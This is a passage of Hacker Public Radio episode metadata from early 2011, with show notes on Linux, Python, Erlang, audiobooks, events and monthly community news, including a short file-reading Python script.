    \nimmutable variables - Billy Pilgrim - we find out more about him (and in the process ourselves). This consistency allows us to depend on the narrator more, as we depend on an erlang program more that state will not change in the middle.\n

    \n

    \nfunctional - jumping in history, future, and dreams, which can all live on their own and can be used independent of one another.\n

    \n

    \n\"He is in a constant stage fright, he says, because he never knows what part of his life he's going to have to act in next.\"\nthat's like Inboxes and message passing in Erlang.\n

    \n

    \nSo it goes. The ending of an Erlang line could be , ; or .\n

    \n ","hostid":132,"series":44,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Kurt Vonnegut\",postmodernism,Erlang,concurrency,\"fault tolerance\"","version":0,"downloads":2461,"valid":1}, {"id":669,"date":"2011-02-24","title":"QSK Netcast 6: The Origin of Open Source","duration":2766,"summary":"The audio recording of KFive's talk at Ohio Linux Fest 2010","notes":"

    Originally aired on OCTOBER 15TH, 2010
    \nThis episode of the QSK Netcast is the audio recording of my talk at Ohio Linux Fest 2010 entitled “The Origin of Open Source.” The talk turned into a strange but, I think, interesting melange of Open Source philosophy, history, sociology and religion. The biggest problem was the poor audio recording equipment used in a very large room so the audio many be difficult to understand in a few places. I did what I could to clean it up using Audacity, but it’s simply not great. Hope everyone enjoys it, though. I’m going to attempt to put up written transcripts of all my episodes starting very soon.

    ","hostid":127,"series":43,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Open Source\"","version":0,"downloads":2389,"valid":1}, {"id":670,"date":"2011-02-25","title":"Linux - A Jazz Musician's Viewpoint","duration":638,"summary":"Shows about Bariman's experience as a jazz musician using Linux","notes":"

    \nThis 10 minute Podcast outlines my experience as a jazz musician using Linux.\n

    \n

    \nHistory . . .
    \nMy start in 1982 with a BBC Micro Computer.\nOn using a 1977 business machine by Real Time Computer Systems, Crewe, UK.\nGary Kildall's CP/M operating system with four, linked, 7 floppy disk drives.\nMoving to the PC about 1988 and becoming a Microsoft operating system user.\nUsing the PC for educational material and for musical arrangements.\nThe main pieces of software used for the music Sibelius and Band-In-A-Box.\nSome web designing using Macromedia Dreamweaver.\n

    \n

    \nTowards Linux . . .
    \nAwareness of Linux about 2000 first 'proper' distro SuSE; (six CDs to install!)\nPoor press for Linux in the past and not much better now.\nModern distros offer close to the full solution for the average user.\nRetailers still telling customers that Linux is difficult and should be avoided.\nMy trials of most of the available distros and awareness of Wine as a solution to using Windows-based software.\nSome limited success with early copies of Sibelius, Band-In-A-Box and Dreamweaver.\nDiscovery of Ubuntu 6.06 and the installation on my Desktops and Laptops.\nMaintainance of a Laptop as a dual-boot machine with Windows XP.\nLinux used for all my work; only very rarely using the Windows partition.\nBrief trial of Virtualbox initially, with not too much success.\nCurrently, Ubuntu 10.10 on all machines and the 'ditching' the dual-boot.\nLook at Virtualbox again, thanks to the recent Hacker Public Radio Podcast by arfab (hpr-0618) on installing XP in Virtualbox. (Thanks arfab.)\nVirtualbox on all my machines now running my 'essential' Windows software.\n

    \n

    \nPracticing . . .
    \nNeed for regular practise using a variety of techniques (improvisation, scales, etc,).\nGood use of Band-In-A-Box as a practice aid.\nMost backing tracks in the form of a simple piano, bass and drums rhythm section.\nGood aid to meet the needs of students at various stages of ability.\nBacking tracks tailored to support each musical instrument in a musical ensemble.\n

    \n

    \nWhere Are We Now . . .
    \nAwareness of current developments in support of the musical requirement.\nStill can't say to my colleagues - Yes, Linux is now the complete solution.\n

    \n

    \nWebsite and blog at 'www.tonydenton.com' on Twitter as 'tonydenton' Identica name is 'Bariman' and occasionally on IRC, also as 'Bariman.'\n

    \n","hostid":150,"series":73,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,jazz,Sibelius,Band-In-A-Box,dreamweaver","version":0,"downloads":2480,"valid":1}, {"id":671,"date":"2011-02-28","title":"How I Found Linux","duration":1440,"summary":"dodddummy's journey to Linux, from mainframes to home computers","notes":"Another in the series on the journey to linux.\n\n

    Announcement

    \n
    Visit our booth at Linuxfests Northeast and\nNorthwest
    \n\n

    Book Review

    \n

    \nThe book is Badge Of Infamy by Lester Del Rey and read by Steven Wilson. It is available from podiobooks.com. The direct url is\nhttps://www.podiobooks.com/title/badge-of-infamy.\n
    \nFrom podiobooks.com: \"Daniel Feldman was a doctor once. He made the mistake of saving a friend's life in violation of Medical Lobby rules. Now, he's a pariah, shunned by all, forbidden to touch another patient. But things are more loose on Mars. There, Doc Feldman is welcomed by the colonists, even as he's hunted by the authorities. But, when he discovers a Martian plague may soon wipe out humanity on two planets, the authorities begin hunting him for a different reason altogether.\"\n

    ","hostid":151,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"mainframe,linux,distrohopping","version":0,"downloads":2585,"valid":1}, {"id":672,"date":"2011-03-01","title":"How I Upgraded My PC - CPU","duration":1115,"summary":"Claudio talks about his PC and covers the what, why, and how of his new CPU purchase.","notes":"

    \nIn this episode, Claudio talks about his current desktop PC and covers the what, why, and how of his new CPU purchase.\n

    \n\n","hostid":152,"series":57,"explicit":1,"license":"CC-BY-NC-SA","tags":"computers,pc,hardware,pchardware","version":0,"downloads":2465,"valid":1}, {"id":673,"date":"2011-03-02","title":"droops returns to geocaching","duration":1068,"summary":"droops voices regrets over the lack of imagination in the placement of some caches","notes":"

    \ndroops talks about his return to geocaching and how he is trying to solve the worlds problems.\n

    \n\n\n\n

    Geocaching with droops and\nJohndoc from droops on Vimeo.

    ","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"geocaching,gps","version":0,"downloads":8912,"valid":1}, {"id":674,"date":"2011-03-03","title":"The Language Frontier Episode 2","duration":956,"summary":"The Language Frontier; this episode, she talks about language's effect on art, and upon governments.","notes":"

    Skirlet continues The Language Frontier; in this episode, she talks about language's effect on art, and upon governments.

    \n

    Listen to this episode in ogg vorbis via aesdiopod.

    ","hostid":88,"series":54,"explicit":1,"license":"CC-BY-NC-SA","tags":"language,art,government,communication,music","version":0,"downloads":2334,"valid":1}, {"id":675,"date":"2011-03-04","title":"Python Response to Bad Apples Podcast 5x18","duration":467,"summary":"A response to a challenge from Klaatu - translate a bash script into python","notes":"

    \nIn episode 5X18 of the Bad Apples podcast, Klaatu challenged me to create my own podcast \nexplaining my Python version of his bash script. His bash script created a list of\nfiles that matched a file name pattern, then read the first line from each of those files\nand wrote that to an output file. My Python program does exactly the same thing, but in Python.
    \nHere is the body of that program with the comments stripped out:

    \n
    \n#!/usr/bin/python\nimport glob\noutfile = open(\"toc.output\", \"w\")\nfor filename in glob.glob(\"*.txt\"):\n    outfile.write(open(filename).readline())\n
    \n

    \nThe above text can be used to follow along with the audio of the podcast. Here is the English explanation \nversion of the above program:
    \n

      \n
    • Tell the system the rest of the text in the file should interpreted by Python
    • \n
    • Import the glob module, which is one of the library modules that comes with Python
    • \n
    • Create a new file object called \"toc.output\" that we can write to
    • \n
    • Iterate over the list of files that match the pattern \"*.txt\" created by the glob function, and assign each matching file in turn to the filename variable
    • \n
    • Open each filename, read the first line from the file and write it to our previously opened output file.
    • \n
    \n\nIt's not shown above, but each matching filename that we open is closed at the end of the looping construct. \nIn addtion, the output file is also closed at the end of the programs execution.\n
    \nHopefully you enjoyed the podcast!\n

    ","hostid":153,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"python,bash,scripting","version":0,"downloads":2823,"valid":1}, {"id":676,"date":"2011-03-07","title":"Behind the Scenes at Hacker Public Radio. A community update for the month 2011-02.","duration":2491,"summary":"HPR Community News for February 2011","notes":"

    New hosts

    \n

    \nWelcome to \nsp0rus and biosshadow, \nHeisenbug, \nJBu92, \nSven, \nMark Katerberg and Courtney Schauer, \nTrixter, \nBariman, \ndodddummy, \nClaudio Miranda, and\nDoug Farrell.\n

    \n\n

    Show Review

    \n
      \n
    • 652:: sp0rus and biosshadow:: Nameless Infosec Podcast Ep 1\n
    • 653:: Heisenbug:: Intro to Black Box Testing\n
    • 654:: JBu92:: Offline Filesharing\n
    • 655:: Flaviu Simihaian:: Read 'n Code - 2 Camus's The Plague and Reddit.com\n
    • 656:: Sven:: My first steps in recovering pictures\n
    • 657:: droops:: HPR Video Proposal\n
    • 658:: Mark Katerberg and Courtney Schauer:: Music Management Consoles\n
    • 659:: Lord Drachenblut:: 10 Buck Review - Serenity\n
    • 660:: Trixter:: An argument against emulators when retrocomputing\n
    • 661:: Quvmoh:: War walking with smart phone\n
    • 662:: Xoke:: DD-WRT\n
    • 663:: brother mouse:: What is on your mp3 player\n
    • 664:: Michael Foord:: A Little Bit of Python: Episode 13\n
    • 665:: KFive:: Hacking the Craps Table\n
    • 666:: brother mouse:: Salvaging old Coleman lanterns and stoves\n
    • 667:: Johninsc:: Your Local Library\n
    • 668:: Flaviu Simihaian:: Read 'n Code - 3 Kurt Vonnegut's Slaughterhouse-five and Erlang\n
    • 669:: KFive:: QSK Netcast 6: The Origin of Open Source\n
    • 670:: Bariman:: Linux - A Jazz Musician's Viewpoint\n
    • 671:: dodddummy:: How I Found Linux\n
    • 672:: Claudio Miranda:: How I Upgraded My PC - CPU\n
    • 673:: droops:: droops returns to geocaching\n
    • 674:: Skirlet:: The Language Frontier Episode 2\n
    • 675:: Doug Farrell:: Python Response to Bad Apples Podcast 5x18\n
    \n\n

    Host 107 brings us BLUE HEAVEN

    \n

    \nA dramatized science-fiction short story written and read by lostnbronx
    \nGet it now at https://www.info-underground.net:70/lostnbronx/fiction/blue-heaven\n

    \n\n\n

    Apologies To:

    \n
      \n
    • sp0rus and biosshadow for not crediting them correctly. \n
    • Doug Farrell for missing the show he emailed me\n
    • Jason Dodd for missing his show on the ftp server\n
    • Pokey and Code Cruncher for messing up their been two fests\n
    • Claudio Miranda for the unnecessary spam about his episode\n
    • klaatu for anything I may have said or done to cause him to abandon HPR.\n
    \n\n

    Thanks to

    \n
      \n
    • brother mouse for his mp3 tagging utility https://pastebin.com/t7dH8bK3\n
    • Tony Baechler for his research into Google voice\n
    • Code Cruncher for the entries to the business cards\n
    • mordancy for volunteering to look into Archive.org automating\n
    • droops for all the man love\n
    • droops and slick0 for the flac version of the theme song\n
    • David Stafford for constructive comments on how to improve the site\n
    • pokeys mom for the HPR promo\n
    \n\n

    Podcasts by Phone

    \n\n\n

    \nEvery listener is strongly encouraged to send us one contribution per year.
    \nIn episode 636 pokey told us that his Mother also listens to the show from time to time and this month she upheld her end of the bargain.
    \n\nThe call in lines
    \n

  • US: +1-206-312-5749
  • \n
  • UK: +44-203-432-5879
  • \n
    \nPlease include your name and email address.
    \nDON'T FORGET TO ADD THE # SIGN AT THE END
    \nThanks to Russ Woodman - K5TUX and Arron 'Finux' Finnon for making this possible.\n

    \n\n\n

    Scheduling Rules update

    \n

    Shows will be released based on the following rules that gives content produced for HPR priority, while avoiding having any one host/series repeated in a week. Hosts are encouraged to release their shows on other feeds after uploading them to HPR.

    \n

    \n

      \n
    1. Time critical
      \n Where the host has requested a show to be posted at a particular time or that the show contains newsworthy information.
    2. \n
    3. Scheduled Slots
      \n Where a host has been assigned a regular day to release a show.
    4. \n
    5. New Hosts
      \n In order to encourage new hosts we will prioritize shows submitted from new hosts so they can experience the excitment of podcasting.
    6. \n
    7. HPR Content on a First in First Out basis.
    8. \n
    \n

    \n

    Syndicated shows will be released on their own scheduled slot following the same rules as above.

    \n\n

    HPR Stickers

    \n

    \n\n

    \n

    \nHot off the press !
    \nThe HPR stickers have been distributed to our Global distribution network in North America, Europe and Australia.
    \nFor anyone else on this who wants them, now is the time to ask; before they all get handed out at the first couple of Linux fests. They're free as in beer btw.
    \nWe're also sending stickers out to the other podcasters who promoted HPR in the past.\n

    \n\n

    Audio Book Club

    \n

    \nSeveral of the HPR contributors in the IRC channel have formed the beginning of an audio-book club. We'll be doing reviews which include spoilers, so I was wondering if you could announce our first audio-book title in case anyone wanted to listen to it before we spoiled it on them. We're hoping this will become a(n ir)regular show for HPR, but we'll see how the first one goes. All audio-books that we review will be free (as in beer) and easily available, so the barrier to entry for the listeners and participants will just be the time involved in listening to the audio. The first audio book is a short one. It runs about 3.5 hours total, and I can tell you it is a very good book which will appeal to both science fiction fans and political critics alike. \n

    \n

    \nThe book is Badge Of Infamy by Lester Del Rey and read by Steven Wilson. It is available from podiobooks.com. The direct url is\nhttps://www.podiobooks.com/title/badge-of-infamy.\n

    \n

    \nFrom podiobooks.com: \"Daniel Feldman was a doctor once. He made the mistake of saving a friend's life in violation of Medical Lobby rules. Now, he's a pariah, shunned by all, forbidden to touch another patient. But things are more loose on Mars. There, Doc Feldman is welcomed by the colonists, even as he's hunted by the authorities. But, when he discovers a Martian plague may soon wipe out humanity on two planets, the authorities begin hunting him for a different reason altogether.\"\n

    \n

    \nWe'll be announcing the next book at the end of our first show.\n

    \n\n\n

    Site improvements

    \n
      \n
    • Each hosts have their own folder ie: hackerpublicradio.org/droops/\n
    • Vimeo Group https://vimeo.com/channels/hpr\n
    • Site redesign more up-to-date looking.\n
    • All comments and posts need a rel=nofollow tag on links.\n
    • All the RSS feed needs to be put in the address bar\n
    • Each episode title link should link to the individual show page\n
    • A separate link/graphic should play the audio, maybe have a built in player and a download link.\n
    • Each episode should have a unique url with the shows title in it, ie hackerpublicradio.org/geocaching_with_droops/ \n
    • We need more of a call to action about recording a show, its kinda hidden.\n
    • The total comment viewer needs to link to the episode page, so that people can see all of the comments about the episode.\n
    • A way to upload our episodes and automate everything.\n
    • We also need the ability for the hosts to add episodes of hpr and other shows to a \"Select\" RSS feed. This way, when we find something super cool that someone else recorded, we can share it with the community.\n
    \n\n

    News from the Admin Channel

    \n

    HPR is been blocked by some companies because they can filter the find the word hacker - money well spent. During the spam fest, HPR got listed on sites as a source of malware. I've been contacting the sites but each blames the next one for the listing and the trail runs cold.\n

    \n
    \nhttps://news.ycombinator.com/item?id=2239162\n  https://www.mywot.com/en/scorecard/hackerpublicradio.org/comment#comment\n  https://www.malwaredomains.com/wordpress/?p=1340\n    https://malwaresurvival.net/2011/01/21/courtney-cox-search-leads-to-fake-av-malware/\n    https://www.dshield.org/tools/suspicious_domains.html\n
    \n

    I registered Hobby Public Radio but cPanel doesn't seem to have a way to have HackerPublicRadio and HobbyPublicRadio served from the same directory.

    \n

    \nQuestion: Off the shelf or Self Build ?\n

      \n
    • Can we make a HPR site using standard Wordpress plugins ?\n
        \n
      • User account management\n
      • Podcast plugins\n
      • Released according to a schedule \n
      \n
    • email from the server is broken through cPanel and this is delaying up automation \n
    • Any PHP programmers want to help\n
    • Proposal to make droops, finux, klaatu admins\n
    • Still no update on the Ice Cast server\n
    \n\n

    Events

    \n

    \nIndiana LinuxFest is a community F/OSS conference, which is showcasing the best the community has to offer in the way of Free and Open Source Software, Open Hardware, and Free Culture. We are also highlighting the best and brightest from all of these communities from the hobbyist to professional level.\n

    \n

    \nIndiana LinuxFest 2011, March 25th to the 27th at the Wyndam Indianapolis West, is free to attend and Open for any to attend be it the hobbyist to the professional. So join us as we March to Freedom.\n

    \n\n

    \n

    \nEvery 50th person who signs up for the following passes, Supporter Passes and LPIC-1 Exam Cram Session, will receive their choice of a Nook Color or Archos 70 while supplies last.\n

    \n

    \nhttps://www.indianalinux.org/cms/PrizesForParticipation\n
    \nBeep from https://www.freesound.org/: btn402.mp3 :: (0:00) :: Short button beep. Recorded in cAve studio... added by junggle \n

    \n
    \n

    \nNortheast GNU/Linux Fest Details Saturday, April 2, 2011 Worcester MA\n
    \n\"Northeast
    \nMore information.\n

    \n\n

    \nLinuxfest Northwest 2011 - April 30th-May 1st Bellingham, WA
    \n\"Linuxfest \n
    \nMore information.\n
    \nHPR is going Northeast and then Northwest with tables at both Linuxfests. We would like people to help out at the table, finding equipment etc. \n
    \n \nHow it all started: here is the link to pokey's first mail about the table at NELF:\n https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-December/000161.html \n \n
    \nWe are also running a Competition to design Mini Business Cards for HPR which we would like to have for the fest.
    \nThey submitted entries have all won a book and they are all up on the picasaweb site https://picasaweb.google.com/108536234968997542346/DesignCompetition#\n

    \n\n

    Upcoming Shows

    \n
    \nHPR Admins with \"Community News\" SCHEDULED SLOT\nbiosshadow and sp0rus Nameless Infosec Podcast. SCHEDULED SLOT\nlostnbronx THEATER OF THE IMAGINATION 2\nSyndicated Thursday ---> 10 Buck Review\nBroam auctions yard sales and flea markets\n---\npokey NELF Taxes\nriddlebox Ep1 Product Review SunVolt\n
    ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-NC-SA","tags":"Community News","version":0,"downloads":1372,"valid":1}, {"id":677,"date":"2011-03-08","title":"THEATER OF THE IMAGINATION: PART 2","duration":994,"summary":"Some descriptions of the base concepts","notes":"

    ----------

    \n

    A convenient link to Part 1

    \n

    ----------

    \n

    Shameless Self-Promotion

    \n

    Blue Heaven

    \n

    ----------

    \n

    MUSIC BY

    \n

    morgantj

    \n

    https://ccmixter.org/people/morgantj/profile

    \n

    \n

    morgantj_-_caf_connection.mp3

    \n

    https://ccmixter.org/files/morgantj/18947

    \n

    \n

    Creative Commons Attribution (3.0)

    \n

    https://creativecommons.org/licenses/by/3.0/

    ","hostid":107,"series":52,"explicit":1,"license":"CC-BY-NC-SA","tags":"audiocast,broadcast,\"audio drama\",RSS","version":0,"downloads":2403,"valid":1}, {"id":678,"date":"2011-03-09","title":"Terminally Stupid Episode 1","duration":556,"summary":"Mrs. Xoke scours the net to find us those that hit rock bottom and started digging.","notes":"Terminally Stupid Episode 1\n\nFull show notes at https://captaindramaticsmom.blogspot.com/2011/03/episode-1-terminally-stupid.html","hostid":154,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Terminally Stupid,fun,comedic","version":0,"downloads":2668,"valid":1}, {"id":679,"date":"2011-03-10","title":"A Little Bit of Python: Episode 14 2010-06-06","duration":1116,"summary":"An interview with Christian Tismer after PyCon 2010","notes":"

    \nA Little Bit of Python is an occasional podcast on all things Python. The four protagonists on the show are all core Python developers and members of the Python Software Foundation. They are: Michael Foord (author of IronPython in Action and maintainer of unittest), Andrew Kuchling (creator of PyCrypto and one of the python.org webmasters), Steve Holden (PSF chairman), Dr. Brett Cannon (author of importlib amongst other things) and Jesse Noller (maintainer of multiprocessing).\n

    \n

    \nEpisode 14.Bit-of-Python-2010-06-06\n

    \n

    \nInterview with Christian Tismer\n

    \n

    \nChristian Tismer is a long standing member of the Python community and, amongst other things, he is the original\ncreator of Stackless and has worked on both psyco and PyPy. In this interview we discuss all of these projects,\nboth their history and what the future holds for them.\n

    \n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"Pycon,Stackless,psyco,PyPy,\"Unladen Swallow\"","version":0,"downloads":2377,"valid":1}, {"id":680,"date":"2011-03-11","title":"Auctions yard sales and flea markets","duration":980,"summary":"Broam talks of Auctions yard sales and flea markets","notes":"Broam talks of Auctions yard sales and flea markets","hostid":143,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"auction,\"yard sale\",\"flea market\"","version":0,"downloads":2391,"valid":1}, {"id":681,"date":"2011-03-14","title":"My first computer","duration":755,"summary":"MrGadgets' first phone-in episode","notes":"MrGadgets calls in a series of shows on the HPR line","hostid":155,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hardware,retro","version":0,"downloads":2500,"valid":1}, {"id":682,"date":"2011-03-15","title":"NELF & Taxes","duration":1376,"summary":"Pokey discusses his plans for NELF, and some Linux-friendly tax preparation software","notes":"

    \nI'm still looking for help at the HPR table at the North East Gnu/Linux Fest, and I've also found a good way to file my taxes without using windoze.\n

    \n

    \nOh yeah, and I have a cool, fun song this time.\n

    \n

    \nThe main website for Song Fight is https://songfight.org/\n

    \n

    \nSong Fight's official stance on Copyright may be found at https://songfight.org/faq.html#copyright \n

    \n

    \nThe direct link to today's song is https://www.songfight.org/music/back_from_juvie/joneric-bfj.mp3\n

    \n

    \nJon's Website is https://www.jon-eric.com\n

    \n

    \nThe main website for NELF is https://www.northeastlinuxfest.org/\n

    \n

    \nHacker Public radio's most prolific contributor (by more than twice our second place host) is Klaatu. While we all try to catch up to him, have a look at his website. https://thebadapples.info/\n

    \n

    \nThank you so much for listening.\n

    \n

    \nP.S. Some people enjoy finding mistakes. For their enjoyment, I have probably included a few.\n

    ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hpr,nelf,taxes","version":0,"downloads":2313,"valid":1}, {"id":683,"date":"2011-03-16","title":"Xorg GSoC call for students","duration":292,"summary":"A call for contributors to X.Org during Google Summer of Code","notes":"

    \nThe Xorg project, https://www.x.org, wants students to participate in Google Summer of Code.\n

    \n

    \nDetails for Xorg's projects can be found at: https://www.x.org/wiki/SummerOfCodeIdeas\n

    \n

    \nMore information on GSoC in general: https://www.google-melange.com/\n

    \n\t","hostid":156,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"google summer of code\",gsoc,x.org","version":0,"downloads":2217,"valid":1}, {"id":684,"date":"2011-03-17","title":"Eben Moglen Freedom In the Cloud","duration":7116,"summary":"Eben Moglen explains the motivations & ideas behind the Freedom Box project","notes":"

    \nBeannachta L le Pdraig/Happy Saint Patrick's Day.\n

    \n

    \nBeannachtai na File Pdraig ar chlann mhr dhomhanda na nGael, sa bhaile agus ar fud na cruinne, ar r l nisinta ceilirtha fin.\n

    \n

    \nFreedom In the Cloud: Software Freedom, Privacy, and Security for Web 2.0 and Cloud Computing\nA Speech given by Eben Moglen at a meeting of the Internet Society's New York branch on Feb 5, 2010\n

    \n

    \n

    \n

    \n

    \nIf you would like to suggest creative commons works for Syndicated Thursday please email admin @ hpr\n

    \n

    \nNOTE TO ITUNES LISTENERS\nPlease reload Mondays show \"HPR ep0681 :: My first computer Hosted by MrGadgets on 2011-03-14\"\n

    \n

    \n\n

    \n","hostid":30,"series":54,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"syndicated thursday\",floss,\"free software\",freedom,surveillance,hosting","version":0,"downloads":2741,"valid":1}, {"id":685,"date":"2011-03-18","title":"Product Review SunVolt","duration":280,"summary":"A product review of the SunVolt solar-powered portable backup battery","notes":"

    \nToday, I am going to do a product review today, this product is one that I think almost anyone will find a good use for! The product is from Scosche, and is the Solar-Powered Universal Charger/ Backup Battery or SunVolt. A description of the product from the manual that comes with it says: The Scosche sunVolt provides a convenient and environmentally friendly way to charge your USB portable device. The specifications for the product are: Output 5V 500mA, the battery is a Lithium-ion, Battery capacity: 1500mA, solBAT solar charge:4-5 days and it varies............\n

    \n\n","hostid":94,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"battery,review,solar","version":0,"downloads":2495,"valid":1}, {"id":686,"date":"2011-03-21","title":"Terminally Stupid Episode 2","duration":778,"summary":"Mrs. Xoke scours the net to find us those that hit rock bottom and started digging.","notes":"MrsXoke presents Terminally Stupid Episode 2\n\nFull show notes at https://captaindramaticsmom.blogspot.com/2011/03/episode-2-terminally-stupid.html","hostid":154,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Terminally Stupid,fun,comedic","version":0,"downloads":2479,"valid":1}, {"id":687,"date":"2011-03-22","title":"pre-IBM PC computer history 1","duration":586,"summary":"MrGadgets speaks of early computers","notes":"We continue our historical journey with MrGadgets as we explore how computers used to be.\n\nIf you had problems with the first show please download it again https://hackerpublicradio.org/eps/hpr0681.mp3","hostid":155,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"radio shack\",retro,unix","version":0,"downloads":2475,"valid":1}, {"id":688,"date":"2011-03-23","title":"Badge Of Infamy","duration":4139,"summary":"The first HPR Audio Book Club show: Badge Of Infamy written by Lester Del Rey","notes":"

    \nIn the first HPR audio book club show Dann Washko, Integgroll, and pokey discuss the podiobooks.com presentation of Badge Of Infamy written by Lester Del Rey, and read by Steven Wilson. This episode contains spoilers, in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. All three hosts enjoyed and recommend the book.\n

    \n

    \nYou can download this audiobook for free (or voluntary donation) from https://www.podiobooks.com/title/badge-of-infamy\n

    \n

    \nDuring this show the hosts also discuss alcohol beverages. \n

    \n

    \n

    \n

    \n

    \nOur next audiobook will be Shadowmagic by Lohn Lenahan. It is alsoavailable at podiobooks. The direct link is:
    \nhttps://www.podiobooks.com/title/shadowmagic\n

    \n

    \nIf you enjoy this episode of HPR, you can find more podcasts by our hosts at:\n

    \n

    \n

    \nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\n

    \n

    \nSincerely,
    \nThe HPR_AudioBookClub\n

    \n

    \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

    \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"HPR AudioBookClub\",\"Badge Of Infamy\"","version":0,"downloads":2385,"valid":1}, {"id":689,"date":"2011-03-24","title":"Eurotrash Security Podcast Episode 19: Haroon Meer","duration":5096,"summary":"The Eurotrash security podcast interviews security professional, Haroon Meer.","notes":"Originally Aired on Thu, 24 Feb 2011 21:55:00 GMT\n
    \nThe Eurotrash Security Podcast\n
    \nMost podcasts in the Information Security realm are US-focused. While we love and continue to listen to these, we thought something was missing: a EU-focused Information Security Podcast. And this is our attempt to provide you with one. Easy? Not at all. Podcasting is hard, no doubt about that, and we will probably suck for some dozen episodes to come. But we believe that we will get there, just bear with us ...\n
    \nEpisode 19: Haroon Meer is one kick-ass dude from South Africa and found some spare time to talk to us on infosec, his new venture Thinkst, Zacon and other stuff! And Wicked Clown is back!","hostid":158,"series":54,"explicit":1,"license":"CC-BY-NC-SA","tags":"security,conference,interview","version":0,"downloads":2420,"valid":1}, {"id":690,"date":"2011-03-25","title":"Resources for Autodidacts","duration":676,"summary":"Resources for autodidacts - those that learn without the benefit of a teacher or formal education","notes":"

    Proposal for a new HPR \"series\"

    \n\n

    What web resources (instructional sites, podcasts, video tutorials) and dead-tree resources have you found helpful in learning Linux, programming, and F/LOSS software?  In the tradition of our standard contributor podcasts (like “How I Got Started with Linux” or “My First Computer”), Curbuntu proposes an ongoing category in which we share these learning resources with each other.

    \n\n

    The topic is kicked off with these suggestions:

    \n\n","hostid":136,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"learning,tutorial","version":0,"downloads":2400,"valid":1}, {"id":691,"date":"2011-03-28","title":"pre-IBM PC computer history 2","duration":1396,"summary":"MrGadgets talks more about early computers (before the PC)","notes":"

    We continue our historical journey with MrGadgets as we explore how computers used to be.

    \n\n

    Links

    \n\n","hostid":155,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"s-100 bus\",CP/M,\"Ohio Scientific Inc.\",\"Motorola 6800\",\"Commodore VIC-20\"","version":0,"downloads":2477,"valid":1}, {"id":692,"date":"2011-03-29","title":"audacity to mess with satan","duration":311,"summary":"A quick episode including garage security, book recommendations, and devious audio manipulation","notes":"

    \nsecurity cam\n

    \n

    \n

    \nbooks\n

    \n

    \n

    \nreverse speach\n

    \n

    \n

    ","hostid":110,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"audio editing\",\"book review\",security","version":0,"downloads":2408,"valid":1}, {"id":693,"date":"2011-03-30","title":"Terminally Stupid Episode 3","duration":825,"summary":"Mrs. Xoke scours the net to find us those that hit rock bottom and started digging.","notes":"MrsXoke presents Terminally Stupid Episode 3","hostid":154,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Terminally Stupid,fun,comedic","version":0,"downloads":2472,"valid":1}, {"id":694,"date":"2011-03-31","title":"The U-Cubed Event","duration":707,"summary":"The Full circle podcast interview Jon Spriggs and Les Pounder about organizing U-Cubed","notes":"

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Your Host:

    \n\n\n

    Guests

    \n
      \n\t
    • Jon Spriggs
    • \n\t
    • Les Pounder
    • \n
    \n\n

    Additional audio by Victoria Pritchard

    \n\n

    01:51 | THE U-CUBED EVENT... organised by Les and Jon.

    \n\n
      \n\t
    • When: Sat. April 2nd, 10.00am.
    • \n\t
    • Where: Mad-Lab, Manchester, UK .
    • \n\t
    • Cost: Free, tickets via the web-site.
    • \n\t
    • Info: ucubed.info.
    • \n
    \n

    Runtime: 11mins 48seconds

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Full Circle Podcast","version":0,"downloads":2262,"valid":1}, {"id":695,"date":"2011-04-01","title":"Behind the Scenes at HPR. A community update for the month 2011-03","duration":1581,"summary":"HPR Community News for March 2011","notes":"

    New hosts

    \n

    \nWelcome to \nmarcoz\nMrGadgets, and\nMrsXoke. We welcome new hosts.\n

    \n\n

    Show Review

    \n
      \n
    • 676 :: Ken Fallon :: Behind the Scenes at Hacker Public Radio. A community update for the month 2011-02.
    • \n
    • 677 :: lostnbronx :: THEATER OF THE IMAGINATION: PART 2
    • \n
    • 678 :: MrsXoke :: Terminally Stupid Episode 1
    • \n
    • 679 :: Michael Foord :: A Little Bit of Python: Episode 14 2010-06-06
    • \n
    • 680 :: Broam :: Auctions yard sales and flea markets
    • \n
    • 681 :: MrGadgets :: My first computer
    • \n
    • 682 :: pokey :: NELF & Taxes
    • \n
    • 683 :: marcoz :: Xorg GSoC call for students
    • \n
    • 684 :: Ken Fallon :: Eben Moglen Freedom In the Cloud
    • \n
    • 685 :: riddlebox :: Product Review SunVolt
    • \n
    • 686 :: MrsXoke :: Terminally Stupid Episode 2
    • \n
    • 687 :: MrGadgets :: pre-IBM PC computer history 1
    • \n
    • 688 :: HPR_AudioBookClub :: Badge Of Infamy
    • \n
    • 689 :: Various Creative Commons Works :: Eurotrash Security Podcast Episode 19: Haroon Meer
    • \n
    • 690 :: Curbuntu:: Resources for Autodidacts
    • \n
    • 691 :: MrGadgets :: pre-IBM PC computer history 2
